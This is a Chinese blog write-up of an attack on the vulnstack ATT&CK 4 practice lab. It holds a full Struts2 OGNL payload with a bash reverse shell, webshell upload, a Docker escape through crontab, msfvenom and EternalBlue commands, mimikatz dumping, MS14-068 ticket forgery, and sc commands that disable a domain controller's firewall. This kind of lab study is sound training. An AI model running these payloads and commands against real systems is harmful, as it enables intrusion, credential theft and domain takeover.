vulnstack-ATT&CK[四]打靶记录


前言

出来工作之后,有点热情消退,白天上班,晚上摆烂。想重新找下学习的冲动,装了一个靶场打了,顺便写篇博客吧,重拾热情,这应该也是vulstack的ATT&CK靶场中最简单的一个。

下载地址

靶场主机介绍

首先要准备两个网卡,分别用主机模式,ip为192.168.157.0/24和192.168.183.0/24系列,192.168.157.0/24模拟外网的IP地址,192.168.183.0/24系列IP模拟内网的IP地址。

  1. 攻击机 Kali 192.168.157.132
  2. 外网Web靶机Ubuntu14.04 192.168.157.133,192.168.183.132
  3. Windows7主机 192.168.183.134
  4. DC域主机Window Server 192.168.183.130

主要用到的知识点有:TOMCAT任意文件上传,Struts的CVE-2017-5638,以及Docker逃逸,永恒之蓝ms17-010,Kerberos,域用户提权漏洞ms14-068

环境装好后,开启Ubuntu主机,需要通过docker start打开docker容器。
file

攻击过程

Web渗透

  1. 首先访问的是2000端口,打开发现是Struts2,通过工具对Struts2进行一系列的漏洞检测,存在Structs2的某个文件上传的漏洞。
    file

出现此漏洞的原因是,内容类型在出错后未转义,然后由 LocalizedTextUtil.findText 函数用于生成错误消息。此函数将解释提供的消息,${…} 中的任何内容都将被视为对象图导航库 (OGNL) 表达式并按此计算。攻击者可以利用这些条件执行 OGNL 表达式,进而执行系统命令。

直接手工进行反弹shell,payload如下:

%{(#nike=‘multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)😦(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘bash -i >& /dev/tcp/192.168.157.132/4444 0>&1’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,‘/c’,#cmd}:{‘/bin/bash’,‘-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

file

成功反弹shell
file

开始检测该端口是否为docker容器,检测的方法一般有以下:

  1. 通过查看/proc/self/cgroup的内容,一般出现全是docker为docker容器
  1. 查看是否有docker产生的.dockerenv,dockerpoint等文件
  2. 查看是否存在/etc/machine-id,一般docker不存在此文件

先查看/proc/self/cgroup,发现确实是docker容器
file

查看是否是特权模式,cat /proc/self/status |grep Cap,特权模式对应的掩码为0000003fffffffff,并不是特权模式。查看是否存在主机磁盘挂载的情况,发现不存在。
file

但是Ubuntu14.04的版本中是可能存在脏牛漏洞的,可以通过脏牛漏洞进行docker逃逸,这里是没有尝试。

docker逃逸

  1. 访问2002端口,发现是一个tomcat容器,直接使用awvs扫一波看看,发现存在Tomcat任意文件上传漏洞
    file

直接生成哥斯拉木马jsp文件,进行上传,并使用哥斯拉连接,继续查看是否能够进行docker逃逸。
file

同样的方法进行判断,发现也是docker环境。
file

这里很明显,能够使用特权模式进行逃逸,直接挂载主磁盘,通过写入定时计划的形式使主机反弹shell,完成逃逸。
file
file

通过定时任务的形式将Bash反弹shell写入到宿主机的/etc/crontab文件中
file

监听6666端口,反弹shell成功,查看Ubuntu外网机的IP地址,发现存在183网段。
file

内网渗透

  1. 通过wget的形式,直接传入fscan,通过fscan_386进行内网的扫描,发现Windows7主机和Window Server2008均存在MS17-010漏洞。
    fscan

file

  1. 先通过metasploit生成木马,利用meterpreter控制Ubuntu机器,方便操作,注意这里需要用x86的木马,x64的木马执行不了

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.132 LPORT=4444 -f elf >1.elf

  1. 接收木马反弹的meterpreter,控制了Ubuntu靶机
    file

  2. 接下来就需要先拿下Windows7靶机,接着使用Windows7靶机拿下域控,为什么不能直接永恒之蓝拿下域控呢,因为域控开了防火墙,直接打,会失败,这里先进行内网穿透的代理,我这里使用frp。
    先配置frpc.ini文件,使用socks5代理,填入kali攻击机的ip和接收端口,然后通过wget将frpc.ini和frpc都传入到Ubuntu主机中。
    file

分别执行frps和在Ubuntu主机中执行frpc文件,内网穿透代理成功。
file

如何判断内网代理是否成功了呢,可以通过curl访问之前docker机的页面,如果能够访问,则代理成功,这里可以看到是代理成功的,注意这里的/etc/proxychains4文件需要配置为socks5 127.0.0.1 6000。
file

这里frp的主要原理大概就是通过服务端和客户端的形式建立连接,攻击机的流量通过6000端口进行客户端即我们的内网机器,结果会传如攻击机器的7000端口。

  1. 通过metasploit直接使用ms17-010的脚本拿下Windows7主机,这里花了几个小时,都没打成功,开始以为是代理问题,但是又不是,反正就是一直建立不了shell,最后直接把Windows7主机重启了,一下子就打成功了🔄 😭 😭。

setg proxies socks5:127.0.0.1:6000
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.183.134
set RHOST 192.168.183.134
exploit

成功拿下Windows7主机
file

内网域控

  1. 直接使用meterpreter的mimikatz模块,抓取主机的密码看看,这里msf6之后mimikatz模块融入了kiwi中。
    file

  2. 能够看到其中一个用户的账号和密码以及域控主机的域名,进入shell,得出域控主机的ip地址为192.168.183.130。

file

  1. 发现Windows7主机中自带了mimikatz等工具,再抓取一波密码,看到本机的SID,目前已经得到了满足利用ms14-068的所有条件即域名,sid,地址,域成员密码。
    file

ms14-068是指Kerberos漏洞,攻击者通过构造恶意的Kerberos票据来提升其在网络中的权限。具体来说,攻击者可以伪造一个高度权限的Kerberos服务票据(Ticket-Granting Ticket,TGT),然后使用该票据来获得其他用户的访问权限。

  1. Windows主机自带了ms14-068的工具,直接使用进行伪造。

MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

  1. 尝试使用域控,使用是成功的,整门提权成功。
    file

  2. 接下来人傻了,因为还得通过msf写一个木马,传入域控主机,关闭域控主机的防火墙,然后反弹shell,拿下域控主机,但是再开msf的时候,好像不能再setg proxies了,会报错,我日,最后只能尝试远程桌面连接Windows7主机,然后这边再通过msf接收反弹的shell,先开启Windows7主机的3389端口。
    file

  3. 使用rdesktop命名进行连接,这里不能直接登录,使用douser登录的时候会要求重新验证账户之间的关系。
    file

  4. 直接通过meterpreter修改administrator的密码,通过administrator登录
    file

  5. 在Windows主机上执行相同的票据伪造操作,并在msf中生成木马,传入域控中,反弹shell成功。

msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.183.130 lport=8888 -f exe -o /var/www/html/bind.exe
upload /var/www/html/bind.exe c:/shell.exe
copy shell.exe \WIN-ENS2VR5TR3N\c$
sc \WIN-ENS2VR5TR3N create unFirewall binpath= “netsh advfirewall set allprofiles state off”
sc \WIN-ENS2VR5TR3N start unFirewall
sc \WIN-ENS2VR5TR3N create Startuu binpath= “C:\shell.exe”
sc \WIN-ENS2VR5TR3N start Startuu

注意要先生成服务,把防火墙给关闭掉,再执行反弹shell,成功拿下域控主机
file

总结

通过Tomcat任意文件上传拿下shell,特权模式完成docker逃逸控制宿主机,通过frp内网穿透代理,通过MS17-010打下Win7,抓取域内的用户信息,用过MS14-068伪造票据拿下域控。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

M03-Aiwin

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值